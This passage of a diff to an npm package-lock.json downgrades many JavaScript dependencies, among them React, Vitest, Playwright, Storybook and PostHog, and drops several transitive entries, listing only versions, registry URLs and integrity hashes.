-      "integrity": "sha512-8dXPB2GI4dI8jV4MgUDGBeLdGk8ekfqVZ0BdLcrRzocGgG75ltNEmWS+gE7uokKF/0oSUuczNDT+g9hFJ23FkA==",
+      "version": "0.562.0",
+      "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.562.0.tgz",
+      "integrity": "sha512-82hOAu7y0dbVuFfmO4bYF1XEwYk/mEbM5E+b1jgci/udUBEE/R7LF5Ip0CCEmXe8AybRM8L+04eP+LGZeDvkiw==",
       "license": "ISC",
       "peerDependencies": {
         "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0"
@@ -17576,12 +17073,12 @@
       "license": "BSD-3-Clause"
     },
     "node_modules/motion": {
-      "version": "12.33.0",
-      "resolved": "https://registry.npmjs.org/motion/-/motion-12.33.0.tgz",
-      "integrity": "sha512-TcND7PijsrTeIA9SRVUB8TOJQ+6mJnJ5K4a9oAJZvyI0Zy47Gq5oofU+VkTxbLcvDoKXnHspQcII2mnk3TbFsQ==",
+      "version": "12.25.0",
+      "resolved": "https://registry.npmjs.org/motion/-/motion-12.25.0.tgz",
+      "integrity": "sha512-jBFohEYklpZ+TL64zv03sHdqr1Tsc8/yDy7u68hVzi7hTJYtv53AduchqCiY3aWi4vY1hweS8DWtgCuckusYdQ==",
       "license": "MIT",
       "dependencies": {
-        "framer-motion": "^12.33.0",
+        "framer-motion": "^12.25.0",
         "tslib": "^2.4.0"
       },
       "peerDependencies": {
@@ -17602,18 +17099,18 @@
       }
     },
     "node_modules/motion-dom": {
-      "version": "12.33.0",
-      "resolved": "https://registry.npmjs.org/motion-dom/-/motion-dom-12.33.0.tgz",
-      "integrity": "sha512-XRPebVypsl0UM+7v0Hr8o9UAj0S2djsQWRdHBd5iVouVpMrQqAI0C/rDAT3QaYnXnHuC5hMcwDHCboNeyYjPoQ==",
+      "version": "12.24.11",
+      "resolved": "https://registry.npmjs.org/motion-dom/-/motion-dom-12.24.11.tgz",
+      "integrity": "sha512-DlWOmsXMJrV8lzZyd+LKjG2CXULUs++bkq8GZ2Sr0R0RRhs30K2wtY+LKiTjhmJU3W61HK+rB0GLz6XmPvTA1A==",
       "license": "MIT",
       "dependencies": {
-        "motion-utils": "^12.29.2"
+        "motion-utils": "^12.24.10"
       }
     },
     "node_modules/motion-utils": {
-      "version": "12.29.2",
-      "resolved": "https://registry.npmjs.org/motion-utils/-/motion-utils-12.29.2.tgz",
-      "integrity": "sha512-G3kc34H2cX2gI63RqU+cZq+zWRRPSsNIOjpdl9TN4AQwC4sgwYPl/Q/Obf/d53nOm569T0fYK+tcoSV50BWx8A==",
+      "version": "12.24.10",
+      "resolved": "https://registry.npmjs.org/motion-utils/-/motion-utils-12.24.10.tgz",
+      "integrity": "sha512-x5TFgkCIP4pPsRLpKoI86jv/q8t8FQOiM/0E8QKBzfMozWHfkKap2gA1hOki+B5g3IsBNpxbUnfOum1+dgvYww==",
       "license": "MIT"
     },
     "node_modules/ms": {
@@ -17622,15 +17119,15 @@
       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
     },
     "node_modules/msw": {
-      "version": "2.12.9",
-      "resolved": "https://registry.npmjs.org/msw/-/msw-2.12.9.tgz",
-      "integrity": "sha512-NYbi51C6M3dujGmcmuGemu68jy12KqQPoVWGeroKToLGsBgrwG5ErM8WctoIIg49/EV49SEvYM9WSqO4G7kNeQ==",
+      "version": "2.12.7",
+      "resolved": "https://registry.npmjs.org/msw/-/msw-2.12.7.tgz",
+      "integrity": "sha512-retd5i3xCZDVWMYjHEVuKTmhqY8lSsxujjVrZiGbbdoxxIBg5S7rCuYy/YQpfrTYIxpd/o0Kyb/3H+1udBMoYg==",
       "dev": true,
       "hasInstallScript": true,
       "license": "MIT",
       "dependencies": {
         "@inquirer/confirm": "^5.0.0",
-        "@mswjs/interceptors": "^0.41.2",
+        "@mswjs/interceptors": "^0.40.0",
         "@open-draft/deferred-promise": "^2.2.0",
         "@types/statuses": "^2.0.6",
         "cookie": "^1.0.2",
@@ -17640,7 +17137,7 @@
         "outvariant": "^1.4.3",
         "path-to-regexp": "^6.3.0",
         "picocolors": "^1.1.1",
-        "rettime": "^0.10.1",
+        "rettime": "^0.7.0",
         "statuses": "^2.0.2",
         "strict-event-emitter": "^0.5.1",
         "tough-cookie": "^6.0.0",
@@ -18678,13 +18175,13 @@
       }
     },
     "node_modules/playwright": {
-      "version": "1.58.2",
-      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz",
-      "integrity": "sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==",
+      "version": "1.57.0",
+      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.57.0.tgz",
+      "integrity": "sha512-ilYQj1s8sr2ppEJ2YVadYBN0Mb3mdo9J0wQ+UuDhzYqURwSoW4n1Xs5vs7ORwgDGmyEh33tRMeS8KhdkMoLXQw==",
       "dev": true,
       "license": "Apache-2.0",
       "dependencies": {
-        "playwright-core": "1.58.2"
+        "playwright-core": "1.57.0"
       },
       "bin": {
         "playwright": "cli.js"
@@ -18697,9 +18194,9 @@
       }
     },
     "node_modules/playwright-core": {
-      "version": "1.58.2",
-      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.58.2.tgz",
-      "integrity": "sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==",
+      "version": "1.57.0",
+      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.57.0.tgz",
+      "integrity": "sha512-agTcKlMw/mjBWOnD6kFZttAAGHgi/Nw0CZ2o6JqWSbMlI219lAFLZZCyqByTsvVAJq5XA5H8cA6PrvBRpBWEuQ==",
       "dev": true,
       "license": "Apache-2.0",
       "bin": {
@@ -18914,40 +18411,23 @@
       }
     },
     "node_modules/posthog-js": {
-      "version": "1.342.1",
-      "resolved": "https://registry.npmjs.org/posthog-js/-/posthog-js-1.342.1.tgz",
-      "integrity": "sha512-mMnQhWuKj4ejFicLtFzr52InmqploOyW1eInqXBkaVqE1DPhczBDmwsd9MSggY8kv0EXm8zgK+2tzBJUKcX5yg==",
+      "version": "1.316.1",
+      "resolved": "https://registry.npmjs.org/posthog-js/-/posthog-js-1.316.1.tgz",
+      "integrity": "sha512-4B0PHnMZwjV9aoQRQ5OqrPa40aCVlqRx1aZMCZCbZ4Z7c91bpOJDpENGGyxFvjUoNN+f8MP8LHZBdn5DPQyWTg==",
       "license": "SEE LICENSE IN LICENSE",
       "dependencies": {
-        "@opentelemetry/api": "^1.9.0",
-        "@opentelemetry/api-logs": "^0.208.0",
-        "@opentelemetry/exporter-logs-otlp-http": "^0.208.0",
-        "@opentelemetry/resources": "^2.2.0",
-        "@opentelemetry/sdk-logs": "^0.208.0",
-        "@posthog/core": "1.20.1",
-        "@posthog/types": "1.342.1",
+        "@posthog/core": "1.9.1",
+        "@posthog/types": "1.316.1",
         "core-js": "^3.38.1",
-        "dompurify": "^3.3.1",
         "fflate": "^0.4.8",
-        "preact": "^10.28.2",
-        "query-selector-shadow-dom": "^1.0.1",
-        "web-vitals": "^5.1.0"
-      }
-    },
-    "node_modules/posthog-js/node_modules/dompurify": {
-      "version": "3.3.1",
-      "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.3.1.tgz",
-      "integrity": "sha512-qkdCKzLNtrgPFP1Vo+98FRzJnBRGe4ffyCea9IwHB1fyxPOeNTHpLKYGd4Uk9xvNoH0ZoOjwZxNptyMwqrId1Q==",
-      "license": "(MPL-2.0 OR Apache-2.0)",
-      "optionalDependencies": {
-        "@types/trusted-types": "^2.0.7"
+        "preact": "^10.19.3",
+        "web-vitals": "^4.2.4"
       }
     },
     "node_modules/preact": {
-      "version": "10.28.2",
-      "resolved": "https://registry.npmjs.org/preact/-/preact-10.28.2.tgz",
-      "integrity": "sha512-lbteaWGzGHdlIuiJ0l2Jq454m6kcpI1zNje6d8MlGAFlYvP2GO4ibnat7P74Esfz4sPTdM6UxtTwh/d3pwM9JA==",
-      "license": "MIT",
+      "version": "10.24.1",
+      "resolved": "https://registry.npmjs.org/preact/-/preact-10.24.1.tgz",
+      "integrity": "sha512-PnBAwFI3Yjxxcxw75n6VId/5TFxNW/81zexzWD9jn1+eSrOP84NdsS38H5IkF/UH3frqRPT+MvuCoVHjTDTnDw==",
       "funding": {
         "type": "opencollective",
         "url": "https://opencollective.com/preact"
@@ -18963,9 +18443,9 @@
       }
     },
     "node_modules/prettier": {
-      "version": "3.8.1",
-      "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.1.tgz",
-      "integrity": "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg==",
+      "version": "3.7.4",
+      "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.7.4.tgz",
+      "integrity": "sha512-v6UNi1+3hSlVvv8fSaoUbggEM5VErKmmpGA7Pl3HF8V6uKY7rvClBOJlH6yNwQtfTueNkGVpOv/mtWL9L4bgRA==",
       "license": "MIT",
       "bin": {
         "prettier": "bin/prettier.cjs"
@@ -18978,11 +18458,10 @@
       }
     },
     "node_modules/prettier-linter-helpers": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.1.tgz",
-      "integrity": "sha512-SxToR7P8Y2lWmv/kTzVLC1t/GDI2WGjMwNhLLE9qtH8Q13C+aEmuRlzDst4Up4s0Wc8sF2M+J57iB3cMLqftfg==",
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/prettier-linter-helpers/-/prettier-linter-helpers-1.0.0.tgz",
+      "integrity": "sha512-GbK2cP9nraSSUF9N2XwUwqfzlAFlMNYYl+ShE/V+H8a9uNl/oUqB1w2EL54Jh0OlyRSd8RfWYJ3coVS4TROP2w==",
       "dev": true,
-      "license": "MIT",
       "dependencies": {
         "fast-diff": "^1.1.2"
       },
@@ -19321,30 +18800,6 @@
         "prosemirror-transform": "^1.1.0"
       }
     },
-    "node_modules/protobufjs": {
-      "version": "7.5.4",
-      "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz",
-      "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==",
-      "hasInstallScript": true,
-      "license": "BSD-3-Clause",
-      "dependencies": {
-        "@protobufjs/aspromise": "^1.1.2",
-        "@protobufjs/base64": "^1.1.2",
-        "@protobufjs/codegen": "^2.0.4",
-        "@protobufjs/eventemitter": "^1.1.0",
-        "@protobufjs/fetch": "^1.1.0",
-        "@protobufjs/float": "^1.0.2",
-        "@protobufjs/inquire": "^1.1.0",
-        "@protobufjs/path": "^1.1.2",
-        "@protobufjs/pool": "^1.1.0",
-        "@protobufjs/utf8": "^1.1.0",
-        "@types/node": ">=13.7.0",
-        "long": "^5.0.0"
-      },
-      "engines": {
-        "node": ">=12.0.0"
-      }
-    },
     "node_modules/pseudolocale": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/pseudolocale/-/pseudolocale-2.2.0.tgz",
@@ -19394,12 +18849,6 @@
       "resolved": "https://registry.npmjs.org/pure-color/-/pure-color-1.3.0.tgz",
       "integrity": "sha512-QFADYnsVoBMw1srW7OVKEYjG+MbIa49s54w1MA1EDY6r2r/sTcKKYqRX1f4GYvnXP7eN/Pe9HFcX+hwzmrXRHA=="
     },
-    "node_modules/query-selector-shadow-dom": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/query-selector-shadow-dom/-/query-selector-shadow-dom-1.0.1.tgz",
-      "integrity": "sha512-lT5yCqEBgfoMYpf3F2xQRK7zEr1rhIIZuceDK6+xRkJQ4NMbHTwXqk4NkwDwQMNqXgG9r9fyHnzwNVs6zV5KRw==",
-      "license": "MIT"
-    },
     "node_modules/queue-microtask": {
       "version": "1.2.3",
       "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
@@ -19585,29 +19034,6 @@
         }
       }
     },
-    "node_modules/radix-ui/node_modules/@radix-ui/react-visually-hidden": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",
-      "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/randombytes": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
@@ -19619,9 +19045,9 @@
       }
     },
     "node_modules/react": {
-      "version": "19.2.4",
-      "resolved": "https://registry.npmjs.org/react/-/react-19.2.4.tgz",
-      "integrity": "sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==",
+      "version": "19.2.3",
+      "resolved": "https://registry.npmjs.org/react/-/react-19.2.3.tgz",
+      "integrity": "sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==",
       "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
@@ -19649,9 +19075,9 @@
       }
     },
     "node_modules/react-day-picker": {
-      "version": "9.13.1",
-      "resolved": "https://registry.npmjs.org/react-day-picker/-/react-day-picker-9.13.1.tgz",
-      "integrity": "sha512-9nx2lBBJ0VZw5jJekId3DishwnJLiqY1Me1JvCrIyqbWwcflBTVaEkiK+w1bre5oMNWYo722eu+8UAMXWMqktw==",
+      "version": "9.13.0",
+      "resolved": "https://registry.npmjs.org/react-day-picker/-/react-day-picker-9.13.0.tgz",
+      "integrity": "sha512-euzj5Hlq+lOHqI53NiuNhCP8HWgsPf/bBAVijR50hNaY1XwjKjShAnIe8jm8RD2W9IJUvihDIZ+KrmqfFzNhFQ==",
       "license": "MIT",
       "dependencies": {
         "@date-fns/tz": "^1.4.1",
@@ -19715,15 +19141,15 @@
       }
     },
     "node_modules/react-dom": {
-      "version": "19.2.4",
-      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.4.tgz",
-      "integrity": "sha512-AXJdLo8kgMbimY95O2aKQqsz2iWi9jMgKJhRBAxECE4IFxfcazB2LmzloIoibJI3C12IlY20+KFaLv+71bUJeQ==",
+      "version": "19.2.3",
+      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.3.tgz",
+      "integrity": "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==",
       "license": "MIT",
       "dependencies": {
         "scheduler": "^0.27.0"
       },
       "peerDependencies": {
-        "react": "^19.2.4"
+        "react": "^19.2.3"
       }
     },
     "node_modules/react-error-boundary": {
@@ -19770,9 +19196,9 @@
       }
     },
     "node_modules/react-hook-form": {
-      "version": "7.71.1",
-      "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.71.1.tgz",
-      "integrity": "sha512-9SUJKCGKo8HUSsCO+y0CtqkqI5nNuaDqTxyqPsZPqIwudpj4rCrAz/jZV+jn57bx5gtZKOh3neQu94DXMc+w5w==",
+      "version": "7.70.0",
+      "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.70.0.tgz",
+      "integrity": "sha512-COOMajS4FI3Wuwrs3GPpi/Jeef/5W1DRR84Yl5/ShlT3dKVFUfoGiEZ/QE6Uw8P4T2/CLJdcTVYKvWBMQTEpvw==",
       "license": "MIT",
       "engines": {
         "node": ">=18.0.0"
@@ -19917,9 +19343,9 @@
       }
     },
     "node_modules/react-router": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.13.0.tgz",
-      "integrity": "sha512-PZgus8ETambRT17BUm/LL8lX3Of+oiLaPuVTRH3l1eLvSPpKO3AvhAEb5N7ihAFZQrYDqkvvWfFh9p0z9VsjLw==",
+      "version": "7.12.0",
+      "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.12.0.tgz",
+      "integrity": "sha512-kTPDYPFzDVGIIGNLS5VJykK0HfHLY5MF3b+xj0/tTyNYL1gF1qs7u67Z9jEhQk2sQ98SUaHxlG31g1JtF7IfVw==",
       "license": "MIT",
       "dependencies": {
         "cookie": "^1.0.1",
@@ -19939,12 +19365,12 @@
       }
     },
     "node_modules/react-router-dom": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.13.0.tgz",
-      "integrity": "sha512-5CO/l5Yahi2SKC6rGZ+HDEjpjkGaG/ncEP7eWFTvFxbHP8yeeI0PxTDjimtpXYlR3b3i9/WIL4VJttPrESIf2g==",
+      "version": "7.12.0",
+      "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.12.0.tgz",
+      "integrity": "sha512-pfO9fiBcpEfX4Tx+iTYKDtPbrSLLCbwJ5EqP+SPYQu1VYCXdy79GSj0wttR0U4cikVdlImZuEZ/9ZNCgoaxwBA==",
       "license": "MIT",
       "dependencies": {
-        "react-router": "7.13.0"
+        "react-router": "7.12.0"
       },
       "engines": {
         "node": ">=20.0.0"
@@ -20417,9 +19843,9 @@
       }
     },
     "node_modules/rettime": {
-      "version": "0.10.1",
-      "resolved": "https://registry.npmjs.org/rettime/-/rettime-0.10.1.tgz",
-      "integrity": "sha512-uyDrIlUEH37cinabq0AX4QbgV4HbFZ/gqoiunWQ1UqBtRvTTytwhNYjE++pO/MjPTZL5KQCf2bEoJ/BJNVQ5Kw==",
+      "version": "0.7.0",
+      "resolved": "https://registry.npmjs.org/rettime/-/rettime-0.7.0.tgz",
+      "integrity": "sha512-LPRKoHnLKd/r3dVxcwO7vhCW+orkOGj9ViueosEBK6ie89CijnfRlhaDhHq/3Hxu4CkWQtxwlBG0mzTQY6uQjw==",
       "dev": true,
       "license": "MIT"
     },
@@ -21065,14 +20491,14 @@
       "license": "MIT"
     },
     "node_modules/storybook": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/storybook/-/storybook-10.2.7.tgz",
-      "integrity": "sha512-LFKSuZyF6EW2/Kkl5d7CvqgwhXXfuWv+aLBuoc616boLKJ3mxXuea+GxIgfk02NEyTKctJ0QsnSh5pAomf6Qkg==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/storybook/-/storybook-10.1.11.tgz",
+      "integrity": "sha512-pKP5jXJYM4OjvNklGuHKO53wOCAwfx79KvZyOWHoi9zXUH5WVMFUe/ZfWyxXG/GTcj0maRgHGUjq/0I43r0dDQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@storybook/global": "^5.0.0",
-        "@storybook/icons": "^2.0.1",
+        "@storybook/icons": "^2.0.0",
         "@testing-library/jest-dom": "^6.6.3",
         "@testing-library/user-event": "^14.6.1",
         "@vitest/expect": "3.2.4",
@@ -21080,7 +20506,7 @@
         "esbuild": "^0.18.0 || ^0.19.0 || ^0.20.0 || ^0.21.0 || ^0.22.0 || ^0.23.0 || ^0.24.0 || ^0.25.0 || ^0.26.0 || ^0.27.0",
         "open": "^10.2.0",
         "recast": "^0.23.5",
-        "semver": "^7.7.3",
+        "semver": "^7.6.2",
         "use-sync-external-store": "^1.5.0",
         "ws": "^8.18.0"
       },
@@ -21146,9 +20572,9 @@
       }
     },
     "node_modules/storybook/node_modules/semver": {
-      "version": "7.7.3",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
-      "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
       "dev": true,
       "license": "ISC",
       "bin": {
@@ -21561,13 +20987,13 @@
       }
     },
     "node_modules/synckit": {
-      "version": "0.11.12",
-      "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.12.tgz",
-      "integrity": "sha512-Bh7QjT8/SuKUIfObSXNHNSK6WHo6J1tHCqJsuaFDP7gP0fkzSfTxI8y85JrppZ0h8l0maIgc2tfuZQ6/t3GtnQ==",
+      "version": "0.11.8",
+      "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.11.8.tgz",
+      "integrity": "sha512-+XZ+r1XGIJGeQk3VvXhT6xx/VpbHsRzsTkGgF6E5RX9TTXD0118l87puaEBZ566FhqblC6U0d4XnubznJDm30A==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@pkgr/core": "^0.2.9"
+        "@pkgr/core": "^0.2.4"
       },
       "engines": {
         "node": "^14.18.0 || >=16.0.0"
@@ -22144,16 +21570,16 @@
       }
     },
     "node_modules/typescript-eslint": {
-      "version": "8.54.0",
-      "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.54.0.tgz",
-      "integrity": "sha512-CKsJ+g53QpsNPqbzUsfKVgd3Lny4yKZ1pP4qN3jdMOg/sisIDLGyDMezycquXLE5JsEU0wp3dGNdzig0/fmSVQ==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.52.0.tgz",
+      "integrity": "sha512-atlQQJ2YkO4pfTVQmQ+wvYQwexPDOIgo+RaVcD7gHgzy/IQA+XTyuxNM9M9TVXvttkF7koBHmcwisKdOAf2EcA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/eslint-plugin": "8.54.0",
-        "@typescript-eslint/parser": "8.54.0",
-        "@typescript-eslint/typescript-estree": "8.54.0",
-        "@typescript-eslint/utils": "8.54.0"
+        "@typescript-eslint/eslint-plugin": "8.52.0",
+        "@typescript-eslint/parser": "8.52.0",
+        "@typescript-eslint/typescript-estree": "8.52.0",
+        "@typescript-eslint/utils": "8.52.0"
       },
       "engines": {
         "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
@@ -22220,20 +21646,11 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/undici": {
-      "version": "7.20.0",
-      "resolved": "https://registry.npmjs.org/undici/-/undici-7.20.0.tgz",
-      "integrity": "sha512-MJZrkjyd7DeC+uPZh+5/YaMDxFiiEEaDgbUSVMXayofAkDWF1088CDo+2RPg7B1BuS1qf1vgNE7xqwPxE0DuSQ==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=20.18.1"
-      }
-    },
     "node_modules/undici-types": {
       "version": "6.21.0",
       "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz",
       "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/unified": {
@@ -22510,15 +21927,6 @@
         "react": "*"
       }
     },
-    "node_modules/use-effect-event": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/use-effect-event/-/use-effect-event-2.0.3.tgz",
-      "integrity": "sha512-fz1en+z3fYXCXx3nMB8hXDMuygBltifNKZq29zDx+xNJ+1vEs6oJlYd9sK31vxJ0YI534VUsHEBY0k2BATsmBQ==",
-      "license": "MIT",
-      "peerDependencies": {
-        "react": "^18.3 || ^19.0.0-0"
-      }
-    },
     "node_modules/use-isomorphic-layout-effect": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.2.0.tgz",
@@ -22715,9 +22123,9 @@
       }
     },
     "node_modules/vite-bundle-analyzer": {
-      "version": "1.3.6",
-      "resolved": "https://registry.npmjs.org/vite-bundle-analyzer/-/vite-bundle-analyzer-1.3.6.tgz",
-      "integrity": "sha512-elFXkF9oGy4CJEeOdP1DSEHRDKWfmaEDfT9/GuF4jmyfmUF6nC//iN+ythqMEVvrtchOEHGKLumZwnu1NjoI0w==",
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/vite-bundle-analyzer/-/vite-bundle-analyzer-1.3.2.tgz",
+      "integrity": "sha512-Od4ILUKRvBV3LuO/E+S+c1XULlxdkRZPSf6Vzzu+UAXG0D3hZYUu9imZIkSj/PU4e1FB14yB+av8g3KiljH8zQ==",
       "dev": true,
       "license": "MIT",
       "bin": {
@@ -22739,9 +22147,9 @@
       }
     },
     "node_modules/vite-tsconfig-paths": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npmjs.org/vite-tsconfig-paths/-/vite-tsconfig-paths-6.1.0.tgz",
-      "integrity": "sha512-kpd3sY9glHIDaq4V/Tlc1Y8WaKtutoc3B525GHxEVKWX42FKfQsXvjFOemu1I8VIN8pNbrMLWVTbW79JaRUxKg==",
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/vite-tsconfig-paths/-/vite-tsconfig-paths-6.0.3.tgz",
+      "integrity": "sha512-7bL7FPX/DSviaZGYUKowWF1AiDVWjMjxNbE8lyaVGDezkedWqfGhlnQ4BZXre0ZN5P4kAgIJfAlgFDVyjrCIyg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -22751,6 +22159,11 @@
       },
       "peerDependencies": {
         "vite": "*"
+      },
+      "peerDependenciesMeta": {
+        "vite": {
+          "optional": true
+        }
       }
     },
     "node_modules/vite/node_modules/@esbuild/aix-ppc64": {
@@ -23234,19 +22647,19 @@
       }
     },
     "node_modules/vitest": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.18.tgz",
-      "integrity": "sha512-hOQuK7h0FGKgBAas7v0mSAsnvrIgAvWmRFjmzpJ7SwFHH3g1k2u37JtYwOwmEKhK6ZO3v9ggDBBm0La1LCK4uQ==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.16.tgz",
+      "integrity": "sha512-E4t7DJ9pESL6E3I8nFjPa4xGUd3PmiWDLsDztS2qXSJWfHtbQnwAWylaBvSNY48I3vr8PTqIZlyK8TE3V3CA4Q==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/expect": "4.0.18",
-        "@vitest/mocker": "4.0.18",
-        "@vitest/pretty-format": "4.0.18",
-        "@vitest/runner": "4.0.18",
-        "@vitest/snapshot": "4.0.18",
-        "@vitest/spy": "4.0.18",
-        "@vitest/utils": "4.0.18",
+        "@vitest/expect": "4.0.16",
+        "@vitest/mocker": "4.0.16",
+        "@vitest/pretty-format": "4.0.16",
+        "@vitest/runner": "4.0.16",
+        "@vitest/snapshot": "4.0.16",
+        "@vitest/spy": "4.0.16",
+        "@vitest/utils": "4.0.16",
         "es-module-lexer": "^1.7.0",
         "expect-type": "^1.2.2",
         "magic-string": "^0.30.21",
@@ -23274,10 +22687,10 @@
         "@edge-runtime/vm": "*",
         "@opentelemetry/api": "^1.9.0",
         "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0",
-        "@vitest/browser-playwright": "4.0.18",
-        "@vitest/browser-preview": "4.0.18",
-        "@vitest/browser-webdriverio": "4.0.18",
-        "@vitest/ui": "4.0.18",
+        "@vitest/browser-playwright": "4.0.16",
+        "@vitest/browser-preview": "4.0.16",
+        "@vitest/browser-webdriverio": "4.0.16",
+        "@vitest/ui": "4.0.16",
         "happy-dom": "*",
         "jsdom": "*"
       },
@@ -23311,16 +22724,53 @@
         }
       }
     },
+    "node_modules/vitest/node_modules/@vitest/mocker": {
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.16.tgz",
+      "integrity": "sha512-yb6k4AZxJTB+q9ycAvsoxGn+j/po0UaPgajllBgt1PzoMAAmJGYFdDk0uCcRcxb3BrME34I6u8gHZTQlkqSZpg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/spy": "4.0.16",
+        "estree-walker": "^3.0.3",
+        "magic-string": "^0.30.21"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "msw": "^2.4.9",
+        "vite": "^6.0.0 || ^7.0.0-0"
+      },
+      "peerDependenciesMeta": {
+        "msw": {
+          "optional": true
+        },
+        "vite": {
+          "optional": true
+        }
+      }
+    },
     "node_modules/vitest/node_modules/@vitest/spy": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.18.tgz",
